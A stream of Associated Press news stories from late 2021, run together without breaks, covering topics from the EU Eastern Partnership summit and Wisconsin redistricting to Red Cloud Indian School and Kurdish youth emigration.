Ukraine and four other former Soviet republics and pledged to deepen political, trade, energy and cultural ties. The EUs Eastern Partnership includes Armenia, Azerbaijan, Belarus, Georgia, Moldova and Ukraine. The president of Belarus, Alexander Lukashenko, is boycotting the forum due to EU sanctions over reported fraud in his reelection last year a security crackdown on antigovernment protesters that followed. A Belarus flag was left at the summit table where he would have sat. "There was an empty chair in the room, and I hope that this chair will soon be filled by a legitimate, democratically elected Belarusian leader," European Commission President Ursula von der Leyen said. The Eastern Partnership was set up after Moscow sent troops into Georgia in 2008, stunning the Europeans and much of the world. It aims to improve and deepen relations among the six countries, most of which share borders with Russia and are strategically important energy hubs, as well as with the 27-nation EU. The meeting was intended to affirm the participants' strong commitment to our strategic, ambitious and forward-looking partnership, based on common fundamental values, according to the final summit declaration. The 32 countries taking part said they are bound by our joint determination to further strengthen democracy and the rule of law in our societies, according to the text, which was released after five hours of talks in Brussels. The word Russia was not once mentioned in the nine-page declaration, despite Moscow's opposition to any of the six countries involved in the partnership deepening ties with the EU. The EU announced that it would offer the Eastern countries a 2.3 billion-euro ($2.6 billion) economic and investment plan, which the bloc hopes will attract up to 17 billion euros ($19 billion) in public and private investments for the region. The EU also emphasized the need for differentiation the acceptance that some of the six may be in a position to deepen their relations with the bloc more quickly. Georgia, Moldova and Ukraine, for example, have free trade pacts that ease tariffs and other barriers to European trade. In 2014, Ukraines then president, Petro Poroshenko, signed its trade deal, ignoring vehement opposition from Moscow, and declared that his country wanted to join the EU. His pro-Russian predecessor was forced to flee Ukraine after his rejection of the free trade deal sparking months of pro-EU demonstrations. MADISON, Wis. (AP) Gov. Tony Evers on Wednesday submitted redistricting plans to the Wisconsin Supreme Court that would not be as favorable to Republicans as the one approved by the Legislature, but would still maintain their majorities in the state Senate and Assembly. Evers said he was bound by the court's ruling this month that it would consider only maps that make as few changes as possible to the current ones put in place by the GOP-controlled Legislature a decade ago. Evers and Democrats objected to the least change approach adopted by the conservative controlled Supreme Court. A commission Evers created had made maps that deviated widely from those in effect now, but Evers did not submit those due to the court's order. Wednesday was the deadline for maps to be submitted. The court plans to hold oral arguments next month. Republican Assembly Speaker Robin Vos accused Evers of being a hypocrite for abandoning maps that had been created following a series of hearings around the state and public comment in favor of ones drawn in secret. Governor Evers has abandoned his campaign rhetoric promising for independently drawn maps to rapidly and secretly draw his own rigged maps without public input," Vos said. "The hypocrisy of the governor is impossible to ignore. Democrats are also pursuing a federal lawsuit and last week the U.S. Supreme Court rejected a lawsuit by Republican lawmakers attempting to end it. The federal court has deferred taking action until the state Supreme Court case is concluded. The maps Im submitting today are an improvement from the gerrymandered maps we have and the Republican maps I vetoed last month, Evers said in a statement. But I want to be clear the people of Wisconsin overwhelmingly support nonpartisan redistricting in this state, and I will continue to fight for a nonpartisan redistricting process as long as Im governor. Republicans have a 61-38 majority in the Assembly and 21-12 majority in the Senate. They also hold five of eight congressional seats. Applying an average of six statewide elections since 2016, the governors maps would elect 44 Democrats and 55 Republicans to the Assembly, Evers' office said. The Evers map would elect 13 Democrats and 20 Republicans to the Senate and three Democrats and five Republicans to the Congress. Evers also said his maps create more competitive districts than the ones approved by the Legislature. Evers' map would move a lower percentage of the population in the Assembly and nearly the same amount in the Senate. Only 5.5% of the population would be moved under Evers' congressional map, compared with 6.5% under the Legislature's plan, the governor's office said. Evers said his map complies with the Federal Voting Rights Act by creating a seventh Black majority-minority Assembly district, maintaining the current maps two Black majority-minority Senate districts and two majority-Hispanic voting age population Assembly districts. Republican majorities in the Legislature grew after the map it drew was adopted in 2011, even as Democrats won election to statewide office. The Supreme Court's ruling this month makes it all but certain those GOP majorities will stay in place for the next decade. Redistricting is the once-a-decade process of redrawing the states political boundaries based on the latest census showing how populations have changed in neighborhoods, cities and counties since 2010. Mapmakers can create an advantage for their political party in future elections by packing opponents voters into a few districts or spreading them thin among multiple districts a process known as gerrymandering. PINE RIDGE, S.D. (AP) Middle schooler Rarity Cournoyer stood at the heart of the Red Cloud Indian School campus and chanted a prayer song firmly and solemnly in the Lakota language in a place where past generations of students were punished for speaking their mother tongue. Her classmates stood around her at a prayer circle designed with archetypes of Native American spirituality, with a circular sidewalk representing a traditional medicine wheel. Lakota language teacher Amery Brave Heart walked quietly with a small bundle of smoldering sage stems. Brave Heart sporting a long braid on the very campus where his grandfather, Basil Brave Heart, said he had his long hair shorn and carelessly trampled on as a newly arrived pupil offered the sage to each student as part of a brief smudging or purification ritual, in which they symbolically waved the scented smoke toward themselves. Such scenes would have been hard to imagine here decades ago when Holy Rosary Mission as the Catholic K-12 school was then named formed part of a network of boarding schools across North America where generations of Indigenous children were brought to weaken their bonds to tribe and family and assimilate them into the dominant white, English-speaking, Christian culture. But while Lakota staff, language and ritual have increasingly become central to Red Cloud, the 133-year-old school has never fully reckoned with this history, which has alienated many Lakota living on the Pine Ridge Indian Reservation, one of the nations largest. Now the school is undertaking what it calls a Truth and Healing process, seeking to hear the stories of former students, open its archives and face its past. The ceremony at the prayer circle was a way of acknowledging that history, one of several small gatherings held at Red Cloud on the last day of September to mark whats come to be known across North America as Orange Shirt Day. Many students and teachers wore orange in solidarity with Indigenous children of past generations who suffered cultural loss, family rupture and sometimes abuse and neglect while compelled to attend residential schools from the late 19th to the mid-20th centuries. The event commemorates the long-ago account of an Indigenous woman in Canada whose residential school confiscated her orange shirt a cherished gift from her grandmother and made her wear a uniform. Our ancestors faced a lot in their time, but they remained resilient, Red Cloud senior Mia Murdoch told fellow students during the high schools observance. They werent allowed to express themselves or to rejoice in who they were. We as young people now have those privileges. ... Orange Shirt Day is not just a single day. It is a confrontation of the past and a conversation that takes place over a long period. The schools Truth and Healing process, begun in 2020, is following four steps described as confrontation, understanding, healing and transformation. Were really in the early stages of confrontation, said Maka Black Elk, executive director for Truth and Healing at Red Cloud. I think people want to rush quickly to healing because its hopeful ... but theres a lot more that needs to happen before we can, he said. That includes giving former students a chance to tell their stories, whether in public settings or confidentially. It will also involve a deep dive into school archives, even if it yields stories "we dont want to hear, Black Elk said. The Truth and Healing process comes amid larger-scale reckonings by governments and church groups that ran residential schools. Earlier this year in Canada, specialists using ground-penetrating radar discovered hundreds of unmarked graves at former school sites. A 2015 report by the Truth and Reconciliation Commission of Canada said residential schools were often abusive, unsanitary and unsafe. While school conditions varied across the U.S. and Canada, and some former students say they had positive experiences, even schools with better track records were serving in the larger project of cultural assimilation what some call cultural genocide. At least 367 such boarding schools once operated across the United States, about 40 percent of them affiliated with Catholic or Protestant churches, according to the National Native American Boarding School Healing Coalition. Most have closed, and most of the remaining ones, including Red Cloud, no longer board students overnight. Holy Rosary, long staffed by Jesuit brothers and Franciscan nuns, boarded students for nearly a century after its founding in 1888. A small group of Jesuits remain, but much else has changed at what is now a day school, with a total enrollment of 600 at its main campus and a second elementary school about 30 miles away. Still, the wounds remain for many. This is something that people in the community who are from here have known about for a long time, Black Elk said. Its their family history. Black Elk said the school plans to use ground-penetrating radar next summer where unmarked graves are suspected in tandem with archival research about student deaths. It isnt to do a quick and dirty measure of what your number (of graves) is. Thats actually traumatizing, he said. Really what ground-penetrating radar is about is healing. Youre finding people. Youre trying to find names, and a story about why that person is there. The Jesuits at the school, as elsewhere, are undergoing their own soul-searching. U.S. and Canadian Jesuit leaders issued a statement of regret in August for the suppression of Native culture. They pledged to help shine the light of truth on this history. "The pain or the trauma of that past can hold us back no matter what positive moves weve made, said the Rev. Peter Klink, former president and now vice president for mission and identity at Red Cloud. Weve got to pursue the truth so that we understand fully the past. ___ AP journalist Emily Leshner contributed to this report. ___ Associated Press religion coverage receives support from the Lilly Endowment through The Conversation U.S. The AP is solely responsible for this content. WASHINGTON (AP) A Florida man has been arrested on charges related to storming the U.S. Capitol during the Jan. 6 insurrection and attacking a police officer, officials said. Mason Joel Courson, 26, of Tamarac, was arrested Tuesday in South Florida and charged with eight federal offenses that include assaulting, resisting or impeding certain officers and inflicting bodily injury, civil disorder, and entering and remaining in a restricted building or grounds with a deadly or dangerous weapon, according to court records. He made his initial court appearance Wednesday in Florida, but the case is being prosecuted in Washington federal court. FORT LAUDERDALE, Fla. (AP) A teacher in South Florida has been fired for repeatedly refusing to wear a mask. The school board in Broward County on Tuesday unanimously voted to fire John C. Alvarez, a science teacher at Piper High for gross insubordination. Alvarez plans to appeal the decision to an administrative law judge, according to the South Florida Sun Sentinel. The school board had required students and employees to wear masks in schools for most of the school year, citing a large number of COVID-19 cases, as well as guidance from the Centers for Disease Control and Prevention and the American Academy of Pediatrics. Republican Florida Gov. Ron DeSantis' administration has prohibited student mask mandates, leading to months of bitter legal disputes with Broward and other counties. DeSantis' orders, which were codified into law by state lawmakers last month, do not apply to employees, only students. Alvarez repeatedly refused to follow orders from his supervisors to wear a mask and he was fired for insubordination, even though the district no longer requires anyone to wear masks on school campuses, according to the school district. The fact that this is related to a mask and all the baggage that issue comes with is really not relevant to the complaint at hand, which is that there was gross insubordination by this employee to a directive by a supervisor, said Marylin Batista, the school board's interim general counsel. ___ Follow APs coverage of the pandemic at https://apnews.com/hub/coronavirus-pandemic. COLUMBIA, S.C. (AP) John Warren the multimillionaire businessman who forced South Carolina Gov. Henry McMaster into a GOP runoff has been mining bitcoins while leaving the door open for a return to politics. Warren announced his investment in GEM Mining on Wednesday. He and four other founding partners, all in South Carolina, decided to form the venture last year as the Bitcoin marketplace began booming, Warren told The Associated Press ahead of the official launch. We saw huge opportunities with our connections to mining, Warren told AP. He said the Greenville-based company will be the largest of its kind in South Carolina, and that he hopes it will soon be among the top handful in the country. Warren said GEM has raised more than $200 million in institutional capital from banks, hedge funds, endowments and pension funds to operate more than 32,000 machines to mine Bitcoin, the world's largest cryptocurrency. Over 9,000 of the machines are currently operational, mining more than 400 bitcoins in the past nine months. Profitable since February, GEM said its November reported revenue was $7.8 million. Miners are specialized computing centers that create bitcoins by solving computational puzzles. Mining operations also maintain the transactions ledger upon which Bitcoin is based, verifying the trustworthiness of the blockchain system. A criticism lobbed at cryptocurrencies is how much electricity they devour. Warren's company said its operations are 92% carbon neutral. This is the first business venture for Warren since selling Lima One Capital, the specialty mortgage firm he founded, in 2019. Warren leveraged more than $3 million of his own money to fund his 2018 gubernatorial campaign, which catapulted him from political anonymity to second-place finisher in a four-way GOP primary. Even though he'd entered the race just months before the primary, Warren netted the endorsements of two of the also-rans before narrowly losing to McMaster in a contentious runoff. That campaign sprint included a last-minute trip from President Donald Trump to stump for McMaster, who as lieutenant governor had been the first statewide-elected politician in the country to back Trump's 2016 White House bid. McMaster ultimately won by a single-digit margin. Some have speculated that Warren would challenge McMaster in a rematch next year. Warren launched a political action committee last year, a vehicle often used as the springboard for a political run. His South Carolina's Conservative Future PAC supported a handful of legislative races, with Warren then telling AP he hoped to recruit conservative, capable and courageous candidates for state House and Senate races and make independent expenditures to further those campaigns. Ultimately, the PAC claimed victory in 13 out of the 15 races in which it got involved. Warren told AP his PAC will play a very, very large role in next years elections, especially with superintendent of education and several House races." As for the governor's race, he said he had "no comment. ___ Meg Kinnard can be reached at http://twitter.com/MegKinnardAP. NEW YORK (AP) The revelation that Fox News Channel personalities sent text messages to the White House during the Jan. 6 insurrection is another example of how the networks stars sought to influence then-President Donald Trump instead of simply reporting or commenting on him. Sean Hannity, Laura Ingraham and Brian Kilmeade all texted advice to Trump's chief of staff, Mark Meadows, as a mob of pro-Donald Trump loyalists stormed the Capitol on Jan. 6, according to Republican Rep. Liz Cheney of Wyoming, vice chair of the congressional committee probing the riot. Mark, the president needs to tell people in the Capitol to go home, texted Ingraham, host of The Ingraham Angle. This is hurting all of us. He is destroying his legacy. Please get him on TV, texted Kilmeade, a Fox & Friends host. Destroying everything you have accomplished. Hannity, like Ingraham a prime-time host, wondered whether Trump could give a statement and ask people to leave the Capitol. Cheney's release of the text messages late Monday came a day after the most prominent hard-news journalist at Fox, Chris Wallace, announced he was leaving after 18 years for a new job at CNN. Wallace had grown privately frustrated by Fox's amplification of its conservative opinion hosts, particularly since the network's ratings took a brief dive following the election of President Joe Biden. The network had no immediate comment Tuesday about the texts. For journalists, the ethical lines are clear: Your job is to report the news, not try to influence the actions of newsmakers. Fox has always tried to distinguish between news and opinion programming, even though those lines are often nonexistent and many viewers don't make the same distinctions. The network considers Hannity, Ingraham and Kilmeade hosts of opinion shows. Fox has argued in court that its prime-time hosts can't be held to the same factual standards as actual journalists. It's not the first time Fox personalities acted as sort of a kitchen cabinet to Trump. Hannity frequently consulted with him during his presidency, and Tucker Carlson once asked for and received a meeting with Trump to talk about COVID-19 in the early days of the pandemic. I don't consider them in the traditional definition of a journalist, said Aly Colon, a professor of media ethics at Washington and Lee University. But even so, they are representative of a news operation at Fox. Their actions leave questions about whether their loyalty was to Trump or to viewers, who expect to learn about the news from them or at least get news analysis, Colon said. While CNN and MSNBC provided live coverage of the Monday night hearing in which Cheney revealed the text messages, Fox did not. Hannity interviewed Meadows but did not ask about the advice he and his colleagues sent. At the outset of his show, he bashed the committee's work. We've been telling you that this is a waste of your time and money, Hannity said. They have a predetermined outcome. Not everyone thinks what the Fox hosts did was wrong, including a consultant who ran Fox's news operation for eight years during the 2000s. I do think it was helpful to have them, or anyone else who had influence or potential influence over the president, tell him what needed to be done, said Michael Clemente, a former executive vice president at Fox News. At a point of national crisis, that's more important than the objectivity rules that most journalists are bound by, he argued. Texting the chief of staff to urge him to tell the president to call for an end to rioting is a good thing, said Tim Graham, director of media analysis at the conservative Media Research Center. But, ideally, journalists shouldn't be texting political advice to the White House." Graham said he didn't think the news will be a bombshell to Fox viewers. It shows Fox being anti-riot, so they will be heartened by that, he said. On the night of the riot, Ingraham told Fox viewers that the Capitol had been attacked by people who can only be described as antithetical to the MAGA movement. She raised the idea that anti-fascist demonstrators may have been sprinkled through the crowd which wasn't true. She complained about the continual video loop of the Capitol breach. She said the demonstration was 99% peaceful, but because of a small contingent of loons, these patriots have been unfairly maligned. Hannity, on his show that night, condemned violence at the Capitol. He also spent considerable time talking about the train wreck presidential election and the failure of Democrats to condemn violent far left riots in American cities in the summer of 2020. Some critics said they saw a disconnect between what the Fox personalities said publicly and texted privately. So you are telling me all these Fox News hosts knew the coup was terrible, begged Trump to stop it, and when he didnt they kept on promoting him? tweeted Amanda Carpenter, a columnist for The Bulwark, a political website dominated by conservatives who oppose Trump. On their shows Tuesday, both Hannity and Ingraham argued that there was no difference between what they said publicly on Jan. 6 and what they texted Meadows. Both publicly and privately, I said what I believe that the breach of the Capitol was a terrible thing, Ingraham said. Hannity complained about Cheney publicizing his text. "Do we believe in privacy in this country? he said. Apparently not. BERLIN (AP) Chancellor Olaf Scholz vowed Wednesday that his new government will win the fight against the coronavirus pandemic and make Germany structurally fit" for the 21st century, promising that efforts to combat climate change will be central to its agenda as he made his first major policy speech to parliament. Scholz, who took over from longtime Chancellor Angela Merkel last week, declared that we have no time to waste as he opened a presentation of his government's platform. He hammered home the message that the novel alliance of his center-left Social Democrats, the environmentalist Greens and the pro-business Free Democrats will be a progressive coalition. Scholz starts work as Germany is grappling with its biggest wave of infections of the pandemic so far. There are signs that restrictions imposed in recent weeks are beginning to slow infections, and the new chancellor said the country is well-placed to fulfill a pledge made in November to get 30 million vaccine shots in arms by the end of this year. Yes, things will get better; yes, we will pursue the fight against this pandemic with the greatest determination; and yes, we will fin this fight, he told lawmakers. We will do everything that is necessary; there are no red lines for the government, Scholz said. The government will not rest for a moment, and we will pull every available lever until we have all regained our old lives and all our freedoms." Scholz also said that his government is open to criticism and will listen to doubters, but it won't tolerate a tiny minority of uninhibited extremists" trying to impose their will on society. German security agencies have warned that parts of the Querdenken movement a loose collection of groups opposed to the pandemic restrictions are becoming increasingly radicalized. Turning to the new government's wider theme of pursuing progress, Scholz declared that we will use the coming four years to make Germany structurally fit for the world of the 21st century." He said that aim encompasses everything from modernizing the country's administration to investing in offshore wind parks, via building new housing and investing in railways. Climate protection will be a central cross-cutting task in this government, and we want to be measured by how successfully we deal with this task," Scholz said. The new government aims to step up efforts against climate change by expanding the use of renewable energy and bringing Germanys exit from coal-fired power forward from 2038, ideally to 2030. It also wants to do more to modernize the country of 83 million people, including improving its notoriously poor cellphone and internet networks. The government also plans to increase Germanys minimum wage and to get hundreds of thousands of new apartments built to curb rising rental prices. And it plans more liberal social policies, including legalizing the sale of cannabis for recreational purposes and ending a ban on doctors advertizing the fact that they perform abortions. It aims to attract more qualified immigrants and plans to ease the path to German citizenship, while also lifting restrictions on dual citizenship. At the same time, it is pledging greater efforts to deport immigrants who dont win asylum. We are a country of immigration ... but we must become an even better country of integration, Scholz said. The new leader underlined his message of continuity in foreign policy. He told lawmakers that the success of Europe is our most important national concern. Scholz warned that Russia would face a high price for further aggression against Ukraine but also stressed Germany's offer of constructive dialogue with Moscow. And he said that we must orient our China policy toward the China that we find in reality. This also means not closing our eyes to the critical human rights situation, and calling violations of universal norms by their name, Scholz said. But that doesn't change the fact that a country of the size and history of China has a central place in the international community, he added. That means offering Beijing cooperation on challenges such as climate change and the pandemic, and we offer China fair economic competition for mutual benefit, with the same rules for all, Scholz said. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic LOS ANGELES (AP) After slogging through a universally difficult 2020 and with Christmas approaching, Gloria Calderon Kellett sought out a trusted form of escape. I was watching When Harry Met Sally, which I do every year, and Love Actually, all of those wonderful rom-coms, and I was reminded that it is indeed a white Christmas on our screens, said the writer-producer ("One Day at a Time," Jane the Virgin). America was also facing a barrage of darkness, she said, including violence and intolerance toward people of color and the LGBTQ community. I can provide a panacea, Calderon Kellett recalled thinking. I can provide a healing salve and give people... something where they are the center of a story, and theyre experiencing love and joy and all the warm good feelings. Amazon gave her pitch a quick approval, and the result is the original series With Love, a holiday potpourri of a rom-com with a Latino family and tolerance at its heart. Holiday movies have eased away from rigidly all-white casts, but people of color overall are playing catch-up when it comes to seasonal TV stories. I feel like this show represents the Latinx community in a way that we truly are, but nobodys ever seen us before, said series star Constance Marie. We are just like everybody else. We have Christmas holiday traditions, just like everybody else. And its (the series) so inclusive that it really kind of educates people. The five episodes of Portland-set With Love, out Friday, follow the extended Diaz family, their friends and partners through a holiday cycle of Christmas Eve (Nochebuena), New Year's Eve, Valentine's Day, July Fourth and the Day of the Dead (Dia de los Muertos). Many of the characters face relationship challenges, including Beatriz (Constance Marie) and Jorge Diaz Sr. (Benito Martinez), in a middle-age marital slump; siblings Lily (Emeraude Toubia), who just dumped her perfect boyfriend, and Jorge Jr., who may have met his Mr. Right (Vincent Rodriguez III), and cousin Sol (Isis King), a physician who's falling for a co-worker. Renee Victor and Pepe Serna play a long happily married couple. Calderon Kellett, who began her career as an actor, gets to deliver some choice lines in the supporting role of Gladys, who's unapologetically single and exuberant. This is a rom-com that happens to be about a Latino family, not a Latino rom-com. So I hope that we welcome in people that love rom-coms, and that they see their family in some way through the lens of this family, she said. Constance Marie ("George Lopez," Switched at Birth) recalls Calderon Kellett's giddy reaction when her scripted vision for the family's enviable Craftsman-style home came to life on a soundstage. She was just so filled with joy that she wrote something on a page and cared about it so much, the actor said. "And through all her hard work, Latinos made it to the upper middle class. What's most striking is the Diaz family's willingness to accept each other and those they meet. There's affectionate teasing by relatives but everyone in their midst older or younger, gay or trans or straight, white or not is respected and embraced. For Calderon Kellett, that's not wishful thinking. It reflects the reality of her family circle and the blended Latino and Irish American household she's created with husband Dave Kellett, a cartoonist and writer. It didn't feel like a fantasy to me. I guess for a lot of people that is not their experience, but they certainly have seen enough white story lines through the lens of aspiration and joy and love, she said. This is reflective of my family. We have queer people, and I feel like nobody cares anymore." King, who co-stars as the trans, nonbinary Sol, welcomed the chance to play an upbeat character for whom being trans wasn't the defining characteristic. Being someone who loves rom-coms and loves this genre, I was just so excited to be a part" of the series, she said. "In my everyday life, Im kind of goofy and silly and light-hearted, and for trans people we dont ever get to see ourselves like that. Sol is happy with their life and career, also a contrast to some trans screen depictions. Whether they're ready for a committed relationship is the character's main challenge. Our stories are always built on trauma, which I get. We have stories to tell. But not every single moment and every single day of my life is around the trauma of transition, said King ("When They See Us," America's Next Top Model"). Good cheer is what Calderon Kellett hopes With Love brings to viewers and, through its diverse and open-hearted characters, maybe something more. It's a romantic comedy package; we know what that is," she said. "But in that, can we sneak some broccoli into the mashed potatoes, show some things that are not often seen, and tell some stories that are not often told? WASHINGTON (AP) When Republican Rep. Lauren Boebert cracked a racist, Islamophobic joke about Democratic Rep. Ilhan Omar, it wasnt the first time she mocked the Muslim congresswoman from Minnesota. Boebert had derided Omar during a House floor debate last month, taunting the Somali-born, Muslim-American immigrant as a member of the jihad squad of liberal lawmakers. The House on Tuesday took the first formal step at a response, with a 219-212 party-line vote to approve legislation sponsored by Omar that would establish a new special envoy position at the State Department to monitor and combat Islamophobia worldwide. In introducing the debate, Rep. James McGovern, the Democratic chairman of the House Rules Committee, cited surveys showing an uptick of anti-Muslim sentiment nationwide and around the world and the need for an energetic U.S. response. McGovern said the House had arrived at this moment because a colleague has told a completely fabricated story again and again that implies a Muslim colleague is a terrorist just because they are Muslim." Those actions are a stain on this entire institution, he said, without naming Boebert, the freshman lawmaker from Colorado. This House is better than the worst actions of a few here. The bill is unlikely to advance in the Senate. But the ordeal provides yet another window onto the state of affairs in the Republican Party left behind by Donald Trump, almost a year after his supporters stormed the Capitol trying to overturn Joe Biden's election. Republican leaders are unwilling or unable to publicly admonish their own, particularly those allied with Trump, even when their everyday rhetoric borders on racist hate speech. Speaker Nancy Pelosi told reporters Tuesday's vote will not be the last word from the Democratic leaders on Boeberts behavior. But they have repeatedly said its up to the Republican leadership to stand up to their most outspoken members who cross a line. The Democrats so far have refrained from more punitive actions of censuring Boebert or removing her committee assignments, as they have for other lawmakers -- and as some Democrats wanted. Rep. Kevin McCarthy, the minority leader, has not signaled any further steps. McCarthy, R-Calif., has said he helped engineer a phone call between Boebert and Omar days after the Republican's remarks came under scrutiny. And before the call, he said Boebert had apologized. But her apology to anyone in the Muslim community I offended fell short for some lawmakers. Rather than smoothing tensions, the call between Boebert and Omar ended abruptly. Boebert refused Omar's request for a public apology, and said Omar hung up on her. Omar said in a statement that she ended an unproductive call. Boebert set off the firestorm around Thanksgiving after a video posted to Facebook showed her telling constituents about an interaction with Omar at a House elevator. As she stepped on the elevator, Boebert said she spotted Omar. Well, she doesnt have a backpack, Boebert recalled saying, an apparent reference to a suicide bomb. "We should be fine. Omar, one of just a few Muslims in Congress and the only lawmaker who regularly wears a religious headscarf, said the scene never happened. It wasnt the first time Boebert, the conservative newcomer, has tested the rules of civility. Last month, Boebert derided Omar as a member of the jihad squad during the House debate to censure another Republican, Rep. Paul Gosar, R-Ariz. He was being reprimanded for having tweeted an animated video depicting the slaying of another member of the so-called squad of liberal lawmakers, Rep. Alexandria Ocasio-Cortez, D-N.Y. Gosar, shortly after the censure vote, reposted the offensive video to his Twitter account. In many ways, the Republican lawmakers are taking a page from Trump's playbook. On the campaign trail and in the White House, Trump routinely mocked minority groups, derided certain African countries with a vulgarity, and slapped a ban on arrivals from predominantly Muslim countries as one of his early executive actions as president. Omar, who arrived in the U.S. as a child and now serves on the House Foreign Affairs Committee, spoke during Tuesday's debate about the bill, saying that as a country founded on religious liberty, the U.S. must fight against religious persecution of Muslims an others worldwide. "We must lead the global effort," she said. As Americans we should stand united against all forms of bigotry. Republican opponents said the bill was too quickly produced, failed to fully define Islamophobia and shouldn't provide special protections for Muslims separate from other religious groups. One Republican, Rep. Scott Perry of Pennsylvania, brought up past statements by Omar that he said were anti-Semitic and supportive of terrorism. Shortly after taking office in 2019, Omar, who has been critical of Israel, tweeted that some lawmakers are only supportive of the Jewish state for the fundraising money a comment widely seen as a slur. At the time, she unequivocally apologized. Perry also mentioned Omar's remarks about the Sept. 11, 2001, attacks that were seen as dismissive but have also been circulated out of context. Democrats moved to strike Perry's comments from the record as violating House rules. Boebert did not speak during the debate. Rep. Jan Schakowsky, D-Ill., co-sponsor of the anti-Islamophobia bill, said of Omar: She has been subjected to relentless attacks and horrifying threats not just from her fellow Americans, but even within the halls of Congress. And enough is enough. RENO, Nev. (AP) A federal judge has dismissed a rural Nevada towns lawsuit seeking to block the U.S. Bureau of Reclamations plan to renovate a 115-year-old earthen irrigation canal with changes that would eliminate leaking water that residents long have used to fill their own domestic wells. The $148 million project includes lining parts of the Truckee Canal with concrete to make it safer after it burst in 2008, flooding nearly 600 homes in Fernley about 30 miles (48 kilometers) east of Reno. The bureau said it also will eliminate the waste of a resource that belongs to U.S. taxpayers by reducing seepage through the canals dirt floor into the aquifer. But Fernley said that will result in a drop in the water table, imperiling its municipal water supply and causing 71% of domestic wells to fail. It claimed it had a right to the water partly because its been available to local residents since 1905 and the government never objected to its use of it. Its lawsuit filed under the National Environmental Policy Act (NEPA) argued the project is illegal because the government failed to fully consider the environmental impacts of reduced groundwater levels. U.S. District Judge Miranda Du ruled in dismissing the lawsuit in Reno on Monday the townspeople lack legal standing to bring their claims under the environmental policy act because their interests are economic, not environmental. She pointed to past rulings by the 9th U.S. Circuit Court of Appeals in San Francisco that have established a zone of interests that NEPA protects as being environmental and that purely economic interests" do not qualify. Fernleys interests are economic, not environmental and they therefore fall outside the "zone of interests NEPA was designed to protect, Du said. Du said the law applies only if the plaintiff demonstrates that the environmental health of its land interests is threatened by the agencys action. Fernley argued that cutting off the canal recharge of the water table effectively constitutes harm to the physical environment. But Du said that the townspeople's argument is ultimately unpersuasive because it overlooks who they are: groundwater users who ... are concerned about having less groundwater available to use for domestic and commercial purposes. WhiIe there is no question that it will be expensive and perhaps difficult for Fernley ... to procure alternate sources of water when defendants proceed with their challenged plan, a NEPA claim is not the appropriate vehicle for them to block (the) plan, she wrote. Built in 1905, the Truckee Canal was part of the Newlands Project named after the Nevada congressman whose legislation led to creation of the Bureau of Reclamation. It was the first major irrigation project in the West intended to make the desert bloom and attract settlers. You have an entire community that was built up through reliance on this recharge, Fernley lawyer David Rigdon told Du during oral arguments last week. Justice Department lawyer Eve McDonald countered, "There is no water right to seepage. KANSAS CITY, Mo. (AP) A teenager has died after being shot several blocks south of Swope Park Campus in Kansas City, police there said. Officers were called to the area around 7 p.m. Tuesday for reports of someone on the ground experiencing a medical emergency, police said in a news release. Medics who also arrived on the scene determined the teen had been shot and rushed him to a hospital, where he was pronounced dead. RANYA, Iraq (AP) The specter of unemployment haunts both students and teachers at universities in northern Iraq. Many speak of growing numbers of empty seats in classrooms across the semi-autonomous Kurdish region seats once occupied by students who have left for Europe. Those who remain, like 21-year-old law student Zhewar Karzan, are making plans to leave. He sees no future at home, in the town of Ranya, nestled among picturesque mountains, rivers and Lake Dukan, the Iraqi Kurdish region's largest lake. A college degree provides no guarantee of a job, and his parents struggle to pay the bills, he said. Come spring, Karzan plans to try his luck and leave with other hopeful migrants. His brother Jiyar, who in 2016 paid a smuggler to take him to Italy from Turkey, eventually reached Britain and now supports the entire family back home while working in a pizza restaurant. I will join him, said Karzan. Iraqi Kurdish youth face a tough choice: endure unemployment and corruption at home, or try to sneak into Europe at the risk of financial ruin, or even death during the perilous journey. Though there are no firm statistics, a substantial number of young Iraqi Kurds are believed to have left, seeing no hope in their country. Meanwhile, students who stayed are struggling to get motivated because getting an education is no longer a sure path to a job. Across the Middle East, struggling economies have failed to keep pace with growing populations. In the three Iraqi Kurdish provinces, between 43,000 to 54,000 jobs would need to be created every year to absorb new waves of young people joining the labor force, according to U.N. estimates. The gap between tepid economic growth and a youth bulge has led to persistently high unemployment. Among Iraqi Kurds between the ages of 15 and 29, it's 24% for men and 69% for women, according to a U.N. survey. The government says these numbers have improved in the last three years but official statistics have not been released. Iraqi Kurdish university campuses have become a hotbed of discontent. Recent protests in the cities of Irbil and Sulaymaniyah over student stipends, frozen since 2014, underscore growing public disenchantment with the government. The Kurdish regional government halted the stipends at the time because of the costly war against the extremist Islamic State group and icy relations with Baghdad-based federal government of Iraq that further stalled budget allocations needed to pay public workers. A drop in oil prices dealt a further blow to the oil-exporting Iraqi Kurdish region. The stipends, between $40 and $70 a month, covered transport, books, clothes and other basic needs. With a recent rise in oil prices to above $70 a barrel and the lifting of some austerity measures, students demanded a resumption of government aid. They recently staged protests at Raparin University in Sulaymaniyah and elsewhere to press for the stipends to resume. The students were met with tear gas and batons. Classes at the main university in Ranya were canceled for a week. Karzan, the prospective migrant, said the protests were co-opted by political groups and turned violent. Students also argued that the universities are incapable of producing graduates qualified for the job market. They alleged that the institutions are tainted by nepotism and directly or indirectly controlled by the political leadership through appointments and funding. Inside university halls, framed posters of Kurdish leaders hang on the walls a constant reminder of the reach of the political parties dominating the region. Even the teachers are unable to escape the pull. One university professor in Sulaymaniyah said he often received calls from superiors, urging him to give passing grades to the offspring of powerful officials. Another said he was pointedly discouraged from being too critical of the ruling elite in his graduate level courses. Both teachers spoke on condition of anonymity, fearing they could lose their jobs. Aram Hamza said he was sick of the prevailing political nepotism and just wants to leave. You need connections to survive here, said the 20-year-old student. If I was the son of a powerful person, I would get a job, no problem. The Iraqi Kurdish region is more prosperous and stable than the rest of Iraq, largely thanks to power-sharing between the two dominant Kurdish parties that have carved the region into zones of control. Each party controls institutions within its turf and secures loyalties through appointments. The government remains the regions largest employer. Iraqi Kurds who fall outside of these networks of patronage are unable to find jobs or, if they are employed, struggle for years with salary delays and cuts. Serena Wso said she worries about the cost of her education burdening her parents. Her father, a government worker, gets $412 a month. My fathers salary is so little, she said. And the government does nothing to help. Math major Salah Sabir said he is is thinking of dropping out, disappointed after his two older sisters who earned degrees in dentistry could not find work. Ali Barez, a 20-year-old history student in Irbil, said he spends every day worrying about whether he will find work as a teacher after graduating. He said there have been no openings for years. Six friends recently left for Europe and he may follow them, if he can borrow enough money to pay smugglers. Jiyar Othman, an English teacher, said students often ask him what's the point of studying if there are no jobs after graduation. Many college graduates have ended up working as manual laborers or in restaurants, making less than $137 a month. Its hard to motivate them, he said. They dont see the end of the 